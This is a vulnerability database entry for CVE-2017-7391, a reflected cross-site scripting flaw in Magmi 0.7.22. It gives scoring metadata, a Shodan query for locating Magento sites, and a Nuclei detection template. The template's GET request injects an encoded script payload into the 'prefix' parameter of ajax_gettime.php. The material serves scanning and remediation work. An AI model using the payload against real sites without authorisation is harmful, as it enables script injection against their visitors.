SecurityContext

CVE-2017-7391: Magmi 0.7.22 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.08279
  • Epss percentile: 0.95052
  • Cpe: cpe:2.3:a:magmi_project:magmi:0.7.22:*:*:*:*:*:*:*

Metadata

  • Max-request: 1
  • Product: magmi
  • Shodan-query: http.component:"magento"
  • Vendor: magmi_project

Products

ProductIndexedUrl
magmi_project:magmiyes/v1/products/magmi_project/magmi

Labels

  • Name: Magmi - Reflected XSS
  • Impact: Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
  • Remediation: Sanitize and validate user input, update to the latest version if available.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: user_interaction
  • Requirements: Attacker needs victim to load or interact with malicious request
  • Labels source: projectdiscovery
  • From cve: CVE-2017-7391

```yaml

id: CVE-2017-7391

info:

name: Magmi 0.7.22 - Cross-Site Scripting

author: pikpikcu

severity: medium

description: Magmi 0.7.22 contains a cross-site scripting vulnerability due to insufficient filtration of user-supplied data (prefix) passed to the magmi-git-master/magmi/web/ajax_gettime.php URL.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

remediation: |

Upgrade to a patched version of Magmi or apply the necessary security patches to mitigate the XSS vulnerability.

reference:

- https://github.com/dweeves/magmi-git/issues/522

- https://github.com/dweeves/magmi-git/releases/download/0.7.22/magmi_full_0.7.22.zip

- https://github.com/dweeves/magmi-git/pull/525

- https://nvd.nist.gov/vuln/detail/CVE-2017-7391

- https://github.com/d4n-sec/d4n-sec.github.io

classification:

cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2017-7391

cwe-id: CWE-79

epss-score: 0.08279

epss-percentile: 0.95052

cpe: cpe:2.3:a:magmi_project:magmi:0.7.22:*:*:*:*:*:*:*

metadata:

max-request: 1

vendor: magmi_project

product: magmi

shodan-query: http.component:"magento"

tags: cve2017,cve,magmi,xss,magmi_project,vkev,vuln

http:

- method: GET

path:

- "{{BaseURL}}/magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C"

matchers-condition: and

matchers:

- type: word

part: body

words:

- '"><script>alert(document.domain);</script><'

- type: word

part: header

words:

- "text/html"

- type: status

status:

- 200

digest: 4b0a00483046022100f046c0fbb09ec86e2914e9a16b4068b35ce81653ca46a1645b388961165b1cdc02210083603f74d36058b825d234bac66a0f1f97453b75f123d10357f89d14ab5a8953:922c64590222798bb761d5b6d8e72950

```